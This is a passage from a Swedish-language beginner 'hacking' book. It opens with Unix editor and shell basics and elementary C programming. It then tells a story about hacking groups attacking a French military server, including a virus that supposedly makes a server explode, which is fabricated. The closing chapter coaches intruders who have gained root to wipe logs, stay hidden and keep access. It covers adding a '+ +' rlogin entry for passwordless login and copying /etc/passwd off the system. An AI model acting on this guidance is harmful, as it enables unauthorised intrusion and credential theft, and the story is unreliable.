<H> för att få se hjälpmenyn. ? Jed Mer sofistikerad än Joe. Alldeles underbar när man programmerar. Den identerar och färgar det man skriver in. Dessutom hjälper den till att hålla reda på parenteser. Jed är en ganska lyckad blandning av Emacs och Joe. ? Emacs Otroligt stor och omfattande editor. Det finns en uppsjö program specifikt skrivna för Emacs. Emacs har också en väldigt massa olika lägen, c-mode t.ex. som fixar inledningar och sådant i C-Kod. Du bör försöka bekanta dig med Emacs, extremt produktiv enligt fanatikerna. Det är egentligen bara en editor men emacs är så pass konfigurationsvänligt att folk använder det för att styra sina kaffekokare med! ? Vi Raka motsatsen till Emacs, extremt minimalt och användarfientligt. Väldigt många tycker dock att vi är den bästa och snabbaste. Ända sen 80-tal har ett religöst krig mellan emacs- och vi-fanatiker rasat. Vid en större Linux mässa utmanade de varandra i paintball. Det var motiveringen Smidighet och snabbhet gäller i både textredigering och paintball som vi-laget kamade hem en snabb seger. Vi uttalas vi-aj. ;-) ? Pico Linkar edit i DOS. Tämligen enkel att använda. Om du tycker att de ovanstående är svårhanterliga kan du använda denna. Om du vill spara en fil trycker du på <CTRL><O>. Avsluta med <CTRL><X>. Använd valfri editor för att skriva in följande program. Jed och Emacs är speciellt trevliga att när det gäller programmering. Skriv t.ex. jed exempel.c och skriv in följande: #include<stdio.h> int main(void) { int a,b; printf(Ange tal 1:\n); scanf(%d, &a); printf(Ange tal 2:\n); scanf(%d, &b); printf(Summan av %d och %d är %d\n!,a,b,a+b); return 0; } Tryck på <Ctrl-X> och <C> när du vill spara. Nu har du förhoppningsvis upptäckt att Jed är bra att programmera med, eftersom den hjälper till rätt mycket med grammatiken. Kompilera och provkör programmet: $ gcc exempel.c $ ./a.out Ange tal 1: 4 Ange tal 2: 7 Summan av 4 och 7 är 11 Skalet II Nu när du har lärt dig använda editorn Jed någorlunda, kan du återkomma till fler funktioner i skalet Bash. Om du listar innehållet i din hemkatalog ser det kanske ut så här: $ ls a.out exempel.c textfil textfil2 $ Nu vill du givetvis inte ha sådan oordning i din hemkatalog, det ska vara snyggt och prydligt. Skapa en katalog till din C-fil. Jag tycker också att du skall ta bort a.out. $ rm a.out $ mkdir c $ pwd /home/kalle $ ls c exempel.c textfil textfil2 $ cd c $ pwd $ /home/kalle/c $ ls $ Sedan flyttar du .c-filerna till c-katalogen. $ mv *.c c/ $ cd c $ ls exempel.c $ pwd /home/kalle/c $ cd .. $ pwd /home/kalle $ ls c textfil textfil2 Gör likadant med de andra filerna, dela in dem i kataloger! =^). Omdirigering UTDATA Programmet cat läser in filen textfil och skriver ut innehållet till utdata, stdout. Det festliga är att vi kan dirigera om var utdatan ska hamna och om du inte specificerar något annat kommer utdatan till den skärm du tittar på. Men skriver du: $ cat textfil > textfil3 $ VA!? Inget hände? Jodå.. Utdatan som cat skickade från textfil, skickades till den nya filen textfil3. $ ls textfil textfil2 textfil3 $ cat textfil3 Linux är absolut bäst Här ser du alltså, att texten i textfil skickades till en ny fil vid namn textfil3. När vi sedan öppnar filen med cat, så ser vi beviset.. Samma text som i textfil ! Det är ett primitivt sätt att kopiera en textfil på. Det funkar dessutom bara på textfiler. Den andra dirigenten heter <, och är givetvis en mostats till >. Du minns kanske vårt lilla C-program som frågade efter två tal; så här kan du använda < operatorn: INDATA $ pwd /home/kalle/c $ gcc exempel.c o exempel $ ./exempel Ange tal 1: 5 Ange tal 2: 6 Summan av 5 och 6 är 11! Skapa nu en fil i samma katalog som innehåller två tal på varsin rad. Glöm inte att avsluta varje rad med ett radbyte, <ENTER>. $ ls exempel exempel.c siffror ? (Den nya filen!) $ cat siffror 23 5 $ ./exempel < siffror Ange tal 1: Ange tal 2: Summan av 23 och 5 är 28! $ Bra va? Programmet exempel väntar på att två värden ska komma från indata. Precis som utdata vanligt vis är skärmen, är indata vanligtvis tangentbordet. ./exempel < siffror blir siffror indata för exempel. Med hjälp av indata genererar exempelprogrammet lite utdata, och detta kan vi också använda. $ ./exempel < siffror > summa $ cat summa Ange tal 1: Ange tal 2: Summan av 23 och 5 är 28! $ Rörledningen | Den tredje dirigenten fungerar som en rörledning. Det som stoppas in på ena sidan kommer ut på den andra. Prova att lista innehålet i katalogen /usr/bin (ls /usr/bin). Jag orkar inte visa hur det ser ut.. (tar för mycket plats med alla filer ;-) ). En väldig massa filer rusar alltså förbi, det är omöjligt att hänga med. I DOS hade vi använt DIR med växeln /P för att lista filerna i tur och ordning, i den takt vi själva hade valt. Det vi ska göra nu är typ samma sak, men i *NIX format: ls /usr/bin | more. Genast blev det enklare! Alla filer från kommandot LS skickades till more. More är ett program som skriver ut lika många rader ur dess indata som får plats på skärmen, fast det visste du väl redan. Studera följande: $ ./exempel < siffror Ange tal 1: Ange tal 2: Summan av 24 och 5 är 28! $ cat siffror | ./exempel Ange tal 1: Ange tal 2: Summan av 24 och 5 är 28! Precis samma sak i båda fallen! Siffror blir indata åt ./exempel! Så.. nog om detta för den här gången. Ni behöver smälta sketen ett tag. Jag kommer gå igenom nätverks konfigureringar och sånt lite senare i boken. I nästa Hackers Mentor bok kommer jag prata om X, Bash och skalprogrammering. Det blir väl något att se fram emot? Har vi tur så hinner jag också med att skriva om Emacs och VI, sedan kan du helt enkelt byta till ett *NIX system utan bekymmer.. Så slipper du alla jobbiga förnedringar om att du är en Winblows user! :-) Kapitel 2: Programmera i C/C++ När du hör att hackers inte använder tools, utan att de gör sina alldeles egna hacking program. (Om de ens behöver använda mjukvara), så kanske du tycker att det låter jätte jobbigt och svårt.. Aldrig ens använda Netinfo eller WS_Ping!?, nej just det! Men det ÄR inte särskiljt svårt. Jag är ingen C programmerare själv, jag gör de flesta av mina program i det mycket enklare språket BASIC. (Visual Basic 6). Men nu är det så att jag har lite grundkunskaper, och jag vill gärna lära er som INTE har några grundkunskaper om det, lite grand! Att skapa ett hacking program i Visual Basic är oerhört enkelt. I C är det lite svårare, Särskiljt för mig. Jag kan typ bara göra ett enkelt matte program i C, eller ett sånt där som säger Hej! Jag heter ice! Vad heter du?: på en svart bakgrund. Det tog mig ca: ett år att lära mig VisualBasic så pass bra att jag kunde göra mer avancerade program som t.ex. trojanen GMT (NetChéf 3.0). Det var det värt! Det enda som behövdes var resurser för att skapa programmen, samt en god guide. Jag läste först Lättpocket om VisualBasic 5, den boken var min nyckel till programmeringen. Jag var då bara 13 år. C++ var grekiska för mig. Senare köpte jag Programmera Internet med VB 5. Sedan Visual Basic 6 på tre veckor. Klartt!! Nu kan jag det. Bara fantasin är gränsen. För några månader sedan började jag läsa C/C++. Mina kunskaper i VB kom nu till oerhört stor nytta. För det första kunde jag skippa allt tjafs om variabler och logiken var helt klar för mig. Utan att ha tittat på C tidigare kunde jag nu förstå den kod jag läste på skärmen. Vad jag vill få fram, vilket språk du än lär dig så kommer det bli till stor nytta i vilket programmerings projekt du än tar för dig. Så.. Vi ska börja programmera i C. Jag förutsätter ingen ting! Det enda jag går efter nu är att du aldrig tidigare har programmerat, och det jag kommer lära dig om C i den här boken blir därför väldigt simpla och nödvändiga grunder. I nästa bok går vi vidare, liksom med Unix. Jag tänker nu inte, likt alla andra böcker, dra upp historien om vart C kom till, när, hur etc. Jag tänker berätta vad det ÄR, hur det fungerar och hur du använder det. Lära dig koda och kompilera. Nog med prat, iväg till C fabriken: Programmering i allmänhet Att programmera, är att skriva egna program i ett språk. I ett programmeringsspråk. C är ett sådant. Det finns många andra språk, Assembler, Perl, BASIC, Cobol, Pascal, Java, HTML (jo..), CGI, BATCH (hehe.. jo!).. Du har säkert hört om dem. Om du läser detta så är det 99% troligt att du redan vet allt detta. Tillhör du den sista 1%:en så bör du helt enkelt lägga ner dina planer på hacking. Optimistiskt menat! Gör inte bort dig. ;-D. Det första språket, med bokstäver och så.. Var Fortran. Sedan kom En massa språk som nästan ingen av oss 15 åringar har hört talas om. Från början gjordes program med hjälp av hålkort. Detta var alltså programmeringen, att sticka hål på kort som man sedan lämnade in till ett datalabb. Sedan väntade man en timma eller två, fick tillbaka sitt kort och en utskrift på vad kortet hade åstadkommigt. En liten utskrift, en text! Det tog för lång tid att springa runt mellan labben och sitt eget hem, så man uppfann terminaler som anslöts till stordatorerna. Sedan programmerade man med hjälp av sifferkoder. Man skrev ned siffrorna på papper i och med att man klurade ut hur det hela skulle fungera. Sedan matade man över siffrorna till en dator som gjorde om det hela till maskinkod, det är den enda kod som datorn egentligen förstår. Nollor och ettor. Men sifferkoderna blev för svåra att komma ihåg. Man gjorde därför om dem till bokstäver och ord. Bokstavskoder. Det är vad vi använder idag. Sedan måste man kompilera koderna till maskinkod. Det är fortfarande det enda en dator kan förstå. De flesta programmeringsspråk har som sagt en ganska lika logik. Objektsorienterad programmering Vad är det? Om vi säger att JAG är ett objekt. Min ARM är ett annat objekt. I C kan en knapp vara ett objekt, lika väl som en textruta, ett formulär, eller till och med ett stycke kod, en variabel, kan ses som ett objekt. Om vi går vidare här, så kan vi se min hjärna och mina muskler som datorn. En del av hjärnan talar om för en annan del av hjärnan (datorn) att jag ska lyfta tre decimeter på armen. Hjärnan fångar upp mitt meddelande (min kod) och skickar signaler till mina muskler att utföra det jag ville. (Kompilatorn, och allt! Vi kör koden). Musklerna lyfter armen tre centimeter. Om vi skrev detta i t.ex. VisualBasic, skulle det kunna likna: JAG.ARM.Top = Int(JAG.ARM.Top) + 30 JAG är alltså jag själv, det första objektet. Till det objektet hör ARM. Min arm. .Top Betyder typ, höjd eller vertikalt värde. Alltså, hur högt eller lågt armen ska befinna sig. Int står för integer och är alltså,, ett tal, siffror, nummer, värde. Vilket värde det gäller, talar informationen mellan parenteserna om. (JAG´s ARM´s höjd placering.). Ok, lite svårt att hänga med? Läs om för tusan! ?. Till sist talar vi om hur mycket armen ska höjas. + 30 = Plus 30 centimeter. Den ska höjas trettio centimeter, alltså, tre decimeter. Här ser vi att det huvudsakliga objektet är JAG. JAG är objektet som står i centrum. Sedan kommer ARM. Min arm, en del av mig, alltså ett mindre objekt av mig och ett följande och tillhörande objekt av objektet JAG. Sedan kommer ARMéns EGENSKAP En egenskap, kan vara texten i en textruta, storleken på en knapp, bakgrundsfärgen i programfönstret eller i vårat fall, den vertikala (lodräta) positionen av armen. Nu har du en ganska fin insikt i objektsorienterad programmering. Det räcker med det nu. Om du inte förstod, så läs noga igenom det en gång till. Sitt inte och pressa in orden! Du lär dig det efter hand, du måste inte veta att det heter Objektsorienterad programmering ännu. Bara du förstår principen och vad jag pratar om. Men det blir nödvändigare senare om du ska prata programmering med någon, eller läsa texter om det. Bland annat denna text. Jag hoppas du förstod. Variabler Variabler, om du kan matte så kan du snart detta. En variabel, kan fungera som en textfil, men det är bara en genväg eller ett stycke kod som man bara kan använda inom en enda programmerings-kod. Ok, lite CP lät det där.. Vi tar om det. KH är en variabel som innehåller information om hur bred en knapp är. För att datorn ska förstå vad KH är så måste vi deklarera den som en variabel. Vi måste med andra ord tala om för kompilatorn att, DETTA ÄR EN VARIABEL - - SOM INNEHÅLLER DEN OCH DEN INFORMATIONEN! GLÖM INTE DEN! Vi skiter i hur man deklarerar variabeljäkeln nu.. KH ska innehålla värdet 40. Alltså, informationen 40. Inget annat! BARA 40!! Knapp1´s bredd kan skrivas så här: Knapp1.Width = Nånting Nånting ska bytas ut mot knappens bredd i, låt oss säga, centimeter. Den ska vara 40 centimeter bred säger vi nu. Knapp1.Width = 40 Så!.. Men vi vill vara lite kluriga, så vi skriver inte 40.. vi skriver KH, eftersom att den VARIABELN innehåller samma information, samma värde! Det har vi ju talat om för den, det har vi ju deklarerat! KH = 40 Knapp1.Width = KH Knappens bredd blev lika stor som antalet siffror i KH var, i centimetrar. Alltså 40. Det finns en massa olika sorters variabler. De kan innehålla olika information, text eller siffror. Jokertecken(#]{]}{@£¤%=ãÄð&) eller vad som helst! Här är en lista över variabler och dess funktioner och kapacitet: Små info om C: Nästan varje rad kod i C/C++ slutar med ett ; ; ? Alltså En kod i C/C++ börjar alltid med: main() { #Här skrivs koden in.. Om man använder ett # FÖRE koden, så blir det inte kod, utan text #som undviks av kompilatorn. #Koden slutar alltid med: } Innan den kod jag visade med main() så skriver man också in de filer med olika objekt och egenskaper som man vill ha med i sitt program. Med hjälp av dessa filer slipper man skriva en massa jobbig kod själv, och får färdiga kodsnuttar och hjälpredskap med sig direkt. Allt man behöver är filerna själva. Sedan på slutet så länkar man ihop och kompilerar alltsammans. De två vanligaste filerna som finns med i så gott som alla program heter stdio.h och conio.h. Dessa lägger man till så här: #include <stdio.h> #include <conio.h> Sedan skriver man resten av koden.. (main() och det..). Vi kan ta en liten kodsnutt: #include <stdio.h> #include <conio.h> main() { crscr(); printf(Hej! Detta är mitt program i C); getch(); } Här har vi ett oerhört enkelt program som bara skriver ut Hej! Detta är mitt program i C i ett litet DOS Fönster. Först talar crscr(); om att man ska rensa skärmen från annan text, sedan skrivs textmeddelandet ut med hjälp av printf(blablabla);. Slutligen en liten avslutande kodsnutt getch();. Alla dessa koder beskrivs längre ned. Vi ska inte lära oss så mycket mer om C för den här gången faktiskt. Vi kan åter behöva lite rum att smälta informationen. Kapitel 3: Inspirationsstund. Tomteverkstaden Det närmar sig jul i tomteverkstaden. Inte den vanliga verkstaden som vi ser på TV varje år. Nej, den tomteverkstad jag nu talar om är den som en gång fanns i mellersta Sverige. Den tomteverkstaden kallades P.W.I.A. På 1990-talet fanns i Uppland och Gästrikland en liten hacking organisation som kallades PWIA. Namnet kom från en gammal latinsk symbol för "den förste, siste och evige guden". PWIA kämpade inte som många andra, för att "visa folket vad hacking egentligen var". Nej, den här gruppen var illvilliga och inåtbundna. Det låter förstås som något tradititonellt MOD-wannabie projekt. Men.. gruppen var aldrig offentligt känd! De som var med ville inte att det skulle vara så heller. Vad gjorde de då? Det PWIA sysslade med var att bryta sig in i olika nätverksservrar för att ENBART ställa till med oreda och sätta små spår med namnet på organisationen. Allt började 1993 när någon vid namn 'Gando' i organisationen A.C.S (En liknande grupp som PWIA), började kaxa mot ett gäng "lonewolfs" på deras privata kanal. Gando utmanade de på kanalen i en "hacking duell" mot A.C.S´s medlemmar. Målet var en fransk .mil-server som hanterade ett militärt SMTP och POP3 system. Samt en hel del sekretess belagd data om något kustbevaknings system. (Fråga mig inte! Jag vet inte mer än så om "målet") De viktigaste som ställde upp i "duellen" från PWIA´s sida var: Mendator, J1mX, Xevinnah`, JoS33, Bemoreo och Eddies. Motspelande från A.C.S var främst: Neromino, TM, Tatic, HellTecter, Vienci och Gando. "Duellen" ägde rum 93-02-16. A.C.S´s deltagande kom in i kanalen där PWIA gänget fanns klockan 02.00. Gando (ledare för A.C.S) och Eddies (ledare för PWIA) hade ett privat samtal på ungeffär 5 minuter. Vad som sas där vet man inte. Men när dom var klara verkade den upphettade stämmningen ha stigit och adrenalinet såg ut att rysa igenom hela kanalen. I kanalen fanns just då ungeffär femtio personer som hade hört om duellen, och som nu satt och väntade på att allt skulle sätta igång. Första personen som: * Ändrade startsidan på www.___.mil sidan, * Tog hem den krypterade informationen, * Lämnade sin grupps signalement på servern skulle genast rapportera om det i Topic för kanalen. Då skulle genast alla operationer avbrytas och man skulle börja kolla vem av de båda som verkligen HADE vunnit. Startsignalen gick i form av ett 'BLEEP' till alla OP´ens datorer. tiden gick.. ingen verkade vara vid livet förutom alla users som fortfarande inte visste att tävlingen hade börjat. Folk började trada CC´s och shell accounts under tiden som ett svettigt arbete pågick i andra änden av IRC. Plötsligt ändrades topic!: "\\P.W.I.A// * GAME OVER * \\P.W.I.A//" PWIA visade direkt A.C.S sin kraft. Gando erkännde senare att han blivit riktigt förvånad över hur lätt P.W.I.A verkade ha knäppt den militära servern. Ja. Nu hade PWIA bevisat sina sk!11z. Det Eddies nu hade på sin dator var 5.3 GB krypterad data som skulle till att dekrypteras. Han bar med sig hårddisken till "tomteverkstaden". Han valde förståss att gå dit tidigt på morgonen när ännu inga andra PWIA medlemmar hade kommit. Eddies slog igång de femton universitets datorer som stod utspridda i källar lokalen. Datorerna var igång, och så var även cracking programmen! Innan den första PWIA´ren anlände till lokalen hade Eddies lyckats dekryptera runt femton olika nyklar som alla ledde till olika delar av den krypterade disken. De andra medlemmarna tyckte förståss att det var väldigt spännande och roligt att få läsa de hemliga dokument om kustförsvar som den franska militärbas de hade hackat, hade uppfunnit. Två veckor gick. Snart hade PWIA lyckats dekryptera hela den bunt av data som de fick av militärservern. Eddies hade kunnat tjäna _MYCKET_ på att sälja det material han nu hade. Men inte! Eddies hade andra planer. Mer om DET vet jag inte. Ingen annan än Eddies vet nog det heller. ---- CHOCKEN ---- Den stora smällen mot PWIA kom i Oktober år 1995 när Bemoreo och en annan PWIA medlem vid namn WexWinyl hackade sig runt på en obevakad IRC server. Samtidigt som de båda roade sig med att radera adresser från OP listorna på #USA och #Australia. så satt vår gamle erkefiende Gando och ett gäng till bakom ett par svarta datorer i Ryssland och scannade efter datorer med hostname endelser på *@*.pwiq.net. Vilket tillhörde PWIA! (duhh!!). Och foo,, de hittade snart Bem och Wex. Någon port stod öppen rakt igenom firewallen och sorry PWIA... A.C.S tog sig på två minuter in i PWIA´s nätverk och hade snart root access till huvuddatorn som också förvarade den OKRYPTERADE versionen av den franska datorn. A.C.S la sina vantar på informationen och gick under jorden. Men PWIA var inte nöjda så. Snart förhandlade Eddies och Gando på nytt om ett konfronterande projekt, denna gång handlade det inte om att ta sig in i någon server. Man skulle nu göra slut på varandras organisationer så gott man kunde. Sagt och gjort. PWIA och ACS´s medlemmar möttes nu på en ny kanal. Utanför newbies och andra åskådares vetskap. Det enda Eddies var intresserad av var att förstöra det som A.C.S hade stulit från hans dator. Eddies försökte därför hålla sig avsides från allt OOBánde och floodande. Nu skulle han hitta Gandos dator! Eddies sökte, letade, rotade omkring i allt han kom över. Snart hade han IP adressen till Gandos dator som stod förvarad djupt nere i en källare i det förslutna kassaskåp som Gando hade investerat i. Dum som han var så hade han alltid datorn online som en hemlig server där han kunde hämta och lagra filer. Eddies hade varken åtkomst att ladda hem, radera, läsa eller skriva. Men han hade möjligheten att ladda upp filer. Eddies ville INTE riskera att de hemliga datan som Gando hade stulit skulle gå att rädda. PLAN DONE! Eddies hade nu inget annat val än att skicka den mörka fil som han arbetat på i fem månader. %FTP.Sending STOR **-**. Vad hände? Har ni aldrig hört talas om de hemska virus som kan drabba din dator? - Servern exploderade. Eddies hade detonerat en fjärrstyrd bomb! Genom att skicka den fil som eddies hade till Gandos dator, och placera den i autorun registret, så hade Gando inget annat val än att ovetande invänta en explosion i sin välslutna källare. Nej, ingen mäniska kom till skada. Bara Gandos dator och älskade kassaskåp! ;). Ok, lokalen måste ha blåsts ut. Men Gando har själv berättat att inget annat än serverdatorn fanns i lokalen när explosionen skedde. Annars...? Det krig som härjade på nätet mellan de två organisationerna slutade så gott som oavgjort. Ett tiotal datorer hade raderats, en server hade sprängts och ett av A.C.S´s mest betydande nätverk fick tas ur användning i mer än ett år! En sådan server som Gando hade kostade 1995 inte lite pengar! A.C.S hade vid det här laget STOR respekt för PWIA. Gando skulle inte komma på tanken att bråka mot Eddies igen. Men trotts allt detta fortsatte vissa att bråka med varrandra. År 1997 verkade så gott som allt vara dött. En dag ringde telefonen hemma hos Tatic. (Operatör på A.C.S). Han fick erbjudandet att börja jobba som säkerhets ansvarig på det stora företaget Netcom i USA. Fler och fler fick erbjudanden om välbetalda jobb. Fler och fler kunde inte längre stanna i sina organisationer. Efter ett tag splittrades allt upp och ingen trodde på någon eller något som skulle återföra dem till de gamla grupperna. Då satt kreativiteten igång i Eddies. Han samlade ihop några av de gamla medlemmarna och skaffade en del nya. Han kom på ett system med vilket han kunde betala sina medlemmar och på så sätt kunde nu hälften av de gamla, goda operatörerna och medlemmarna stanna kvar i gruppen eller vara med över halvåren. Det andra halvåret gick till respektabla nätverks och mjukvaru företag. Mestadels i Amerika. Gando började följa deras struktur men hade snart inte längre tid och ork att fortsätta. Gandos högra hand "TM" fick nu ta över ledarskapet. Och det klarade TM bra! Eddies och TM är nu de ledare som varit med i sina organisationer allt sedan 1980-talet. --------------------------------------------------------------------------- FLYTTEN ¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨ År 1998 kunde inte längre de välbetalda hackarna från Sverige stanna kvar i sina källarlokaler i Gästrikland och Uppland. De flesta flyttade till USA och bosatte sig där. Så, om medlemmarna flyttade, så fick också organisationerna flytta. A.C.S har dock mestadels sina medlemmar kvar i Sverige, och ett par har flyttat till USA, Finland och Norge. Gando vet man inte riktigt VART han bor. Men enligt TM så ska han finnas vid den Grekiska riveäran där han slappnar av och har det skönt. Gando är nu, år 2000, 48 år gammal. Eddies är cirka 46. TM är 32 och de andra,, mellan 20 och 40. A.C.S Har idag ungeffär 20 medlemmar. P.W.I.A Hade när detta skrevs 32 medlemmar. Varav dessa har A.C.S fortfarande kvar 7 gamla, hederliga operatörer och en del hackers och crackers som gått med på senare tid. P.W.I.A har fortfarande alla sina gamla medlemmar kvar. Tror jag. Kanske en eller två har backat ur på grund av flytten mm.. Men visst, de träffas fortfarande både IRL och över nätet. Arbetet i tomteverkstaden fortsätter,, till dunkande trance och goa. Våra megahackers till tomte-snickare lever i det varma och härliga USA & kring det underbara söderhavet. Lugn! De lever fortfarande! Du kan fortfarande få träffa dem! Även om det så är för en kort stund och över IRC, så tycker jag att det är värt att leta. Eligt källor kan du hitta medlemmar ur de gamla grupperna på undernet IRC och t.o.m. DALNet! Leta på kanalerna #PWIA , #ACS, #Hackers , #Hacktech och #BIOS efter våra gamla vänner. == Till er medlemmar som läser: == ================================== VI VÄNTAR MED SPÄNNING PÅ NÄSTA MATCH! VI VÄNTAR PÅ EN YTTERLIGARE DUELL! OM DET BLIR EN.. TALA DÅ OM DET FÖR OSS! =) // VI DÖDLIGA MÄNISKOR. =) ================================== Kapitel 4: Vad du gör när du fått root i ett system. Använda Unix och telnet för att gå vidare i ditt hackade system. När du har suttit i timmar för att ta dig in i ett system, låt oss säga target.com, och när du till sist har lyckats.. så sitter du där och tänker, JA! Jag är inne!, så vad gör jag nu??. Svaret du kommer ge dig själv är kanske: testar att skriva HELP,, du får upp en massa kommandon och sedan testar du några av dem. Sorry! Du testade fel kommando på fel sätt! Rååååkade bara skriva: rm fr /* eller? På några sekunder var det roliga över, tyvärr kanske någon nära stående loggade det hela, snart kommer kanske polisen och knackar på dörren.. Du gjorde fel, med anda ord. (Kommandot rm fr /* - tar bort alla filer på disken). Ne, nu när du har fått root, finns det vissa regler och etiker som du måste följa, Det finns vissa saker som du bör göra, och det finns saker du bör undvika. Du måste kunna radera och ändra i loggar, du måste göra dig osynlig och behålla din root access. (Det är inte allt för sällan som erfarna admins byter lösenord..) Så. Läs detta kapitel för att förstå vad du behöver göra och hur du gör det! För det första hoppas jag att du har en anledning till varför du har tagit dig in i systemet. Annars kan du inte precis kalla det för hacking. Du kan inte kalla dig för hacker om du bara råkade göra ett slumpmässigt hack. Du bara råkade trilla in i ett system som du inte vet vad det ens är. Du kanske bara scannade efter exploit-bara system och hittade ett som du körde den hemladdade exploiten på.? Du ska absolut inte ta bort filer, ladda hem eller upp filer innan du vet hur man fixar loggarna, du ska i princip inte göra någonting innan du VET hur du rensar upp efter dig och hur du gör dig själv osynlig för andra. Ok, praktik ger bästa resultat, så jag föreslår att du skaffar dig ett shellkonto hos någon Internetleverantör om du inte redan har det. Du kan öva dig lite där, gör inget dumt bara ;-). Du har lärt dig en del om Unix/Linux här i boken nu, så du kan nog en del kommandon redan, men här är en liten lista över de viktigaste, de är översatta mellan DOS och UNIX språk: DOS: UNIX: DIR/W = ls DIR = ls -l DIR/AH = ls -al AH=(dåld) -al=(include hidden files as well as regular) RENAME = mv ATTRIB = chmod MD = mkdir RD = rmdir DEL = rm COPY = cp Ok.. Så nu har du det klart för dig..? Du kan läsa mer om kommandona genom att kolla deras man sidor. Om du skriver cd utan de två , och klickar {ENTER}, så kommer du automatiskt tillbaka till din hemkatalog. Kommandot: cp filnamn $HOME kommer att kopiera det specifierade filnamet (filen) till din hemkatalog. cd ~användarnamn - Tar dig till den valda användarens konto, om du har rättigheten att vara där. Skriv pwd och klicka {ENTER} för att se vart i filsystemet du befinner dig. När vi nu har loggat in i systemet, och vår prompt heter bash$, så kan vi börja kolla runt: bash$ bash$ cd /tmp bash$ ls -l total 783 -rwx------ 1 wood users 1 Jan 25 18:28 19067haa -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428 -rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598 -rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600 drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens Observera här att den gamla hederliga DOS backslashen har bytts ut mot slash, ( DOS = \ ) (UNIX = / ) C:\tmp\ hade det kanske varit i Windows, men i Unix är det /tmp. Ovanför det där /ét finns inget. Det är rooten. /tmp är en undermapp till den högsta grenen i filsystemet. Andra undermappar till / är t.ex. root, lost&found, bin och etc. Det talade jag ju om tidigare! Så .. detta gav oss väl inte så mycket rolig information? Vi testar samma kommando med växlarna a och l: bash$ ls -al total 794 drwxrwxrwt 4 root root 8192 Jan 25 23:05 . drwxr-xr-x 22 root root 1024 Dec 28 18:07 .. -rw-r--r-- 1 berry users 6 Jan 25 23:05 .pinetemp.000 drwxr-xr-x 2 berry users 1024 Jan 25 23:05 .test -rwx------ 1 wood users 1 Jan 25 18:28 19067haa -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428 -rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598 -rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600 drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens Så.. nu fick vi lite mer. Det som lades till var .pinetemp.000 och .test. Att dessa två lades till beror på att de är dolda filer. Med växlarna a och l, (a räcker), så fick vi se även dolda filer/kataloger). Vi kan också se att .test var en katalog. Det ska vi prata lite mer om nu strax. Vi behöver först lära oss om rättigheter! Skåda exemplet: -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428 ---------- | | | |--------> Other = Vem som helst på datorns åtkomst | | |------------> Group = Vissa gruppes åtkomst | |---------------> User = Bara ägarens åtkomst |-----------------> Katalog eller Fil. Det visas här. Så nu fick ni här se, att det är denna rwgrej som visar vilken access olika personer har till filen/katalogen i fråga. Den raden kan de ut lite hur som helst, det beror på vilka som har vilken åtkomst/tillgång/möjlighet/access till filen/katalogen. Vi kan ta ett exempel: - rw- r-- r-- | | | |--------> Övriga kan bara läsa filen. | | |------------> Gruppen kan bara läsa filen. | |----------------> Ägaren kan läsa och skriva till filen. |------------------> Det är inte en katalog - rwx rwx r-x | | | |--------> Övriga användare kan läsa och köra filen. | | |------------> Gruppen kan läsa, skriva till och köra filen. | |----------------> Ägaren kan läsa, skriva till och köra filen. |------------------> Det är en katalog Ok, så nu kanske du har förstått vad de olika bokstäverna står för?: R = Read (Läs rättighet, man får läsa/öppna filen, se innehållet). W = Write (Skriva till, redigera, ta bort filen, byta namn eller flytta den). X = Execute (Köra filen om det är ett program/procedur/kommando). - = Uppgift saknas (t.ex. om filen inte är en katalog, eller om en rättighet saknas. Om det ÄR en katalog så står ett d i början av raden. Annars är det ett sträck.) När du har root kan du ändra rättigheter med mer för alla filer och kataloger Du kan förståss alltid ändra på filer/kataloger om det är du som är ägaren: chmod oug+r filnamn ? Detta gör så att både ägaren, gruppen och övriga kan läsa filen. (O = Others, U = User, G = Group) +r = ( plus READ). chmod og-r filnamn ? Detta gör så att bara ägaren (U = User), kan läsa filen. (Observera att - och + anges för att GE & TA) chmod +x filnamn ? Gör så att alla kan köra filen (varken O U eller G anges. Det tar UNIX som ett alla!.) chown user filnamn ? User byts ut mot den användare som ska få ägande rättigheten. Endast ägaren av filen eller root kan ändra detta (som vanligt) chgrp gruppnamn filnamn ? Gör så att filen ägs av en annan grupp. (gruppnamn) Ändra inte inställningarna eller rättigheterna innan du vet vem som äger filen och vad det är för fil mm.. Det kan få ägaren/gruppen eller sysadmin att bli fundersam, han/hon spårar dig och sätter dit dig helt enkelt. Ta det lugnt! rlogin. Det finns ett annat kommando än Telnet för att logga in på ett konto också. Det är rlogin. Läs man sidorna om rlogin först av allt! Standard kommandot är väl: rlogin l användarnamn lösenord connecting.... password: bash$ På servern finns det en .rlogin fil i användarens hemkatalog som talar om för servern vilket system som den kan ta emot rlogin från. Den filen kan se ut såhär: username hostname (or) hostname Om du skulle lägga till en rad med + + i den här filen, det skulle låta vem som helst, från vilket system som helst, utan lösenord, att logga in i systemet! Om det redan finns ett användarnamn i rlogin filen så kan du lägga till raden: + + under loginname-raden. Men då skulle nog användare snart upptäcka att man kunde logga in utan lösenord.. Ett annat sätt att logga in på är med kommandot FTP: ftp ftp.hostname.com Mer om FTP senare. GCC Compiler Du kommer flera gånger, säkerligen, behöva kompilera en .c fil till körbart format. Det smartaste är ju att kopiera C-koden du vill kompilera, logga in i ditt hackade system, pasta in koden i en ny .c fil, spara den och kompilera den. (För er som inte vet, så är en .c fil, en sådan fil som man sparar C-kod i. Alltså, C/C++ programmering Sedan kompilerar man koden, man översätter den till maskinkod som datorn kan förstå. Man gör den till en körbar- -fil). Så.. Du pastar in koden och kompilerar.. (pasta = klistra in). Detta för att undvika onödiga loggar. För att kopiera och klistra in så tar du helt enkelt och kopierar koden från din andra session, öppnar en textredigerare på din hackade dator och klistrar in koden där. Sedan sparar du filen som t.ex. i vårat exempel: $HOME/kodfil.c Samma sak gäller om du ska ladda hem password filen via FTP, spara den då först i din egen hemkatalog med ett annat namn: bash:/etc:> cp passwd $HOME/plog (Om jag inte redan har sagt det så är jag dum, du hittar lösenordsfilen och gruppfilen för UNIX i: /etc. Oftast ser adressen ut såhär (i en webläsare): ftp://ftp.blablabla.com/etc/passwd ftp://ftp.blablabla.com/etc/group eller ftp://blablabla.com/etc/passwd ftp://blablabla.com/etc/group 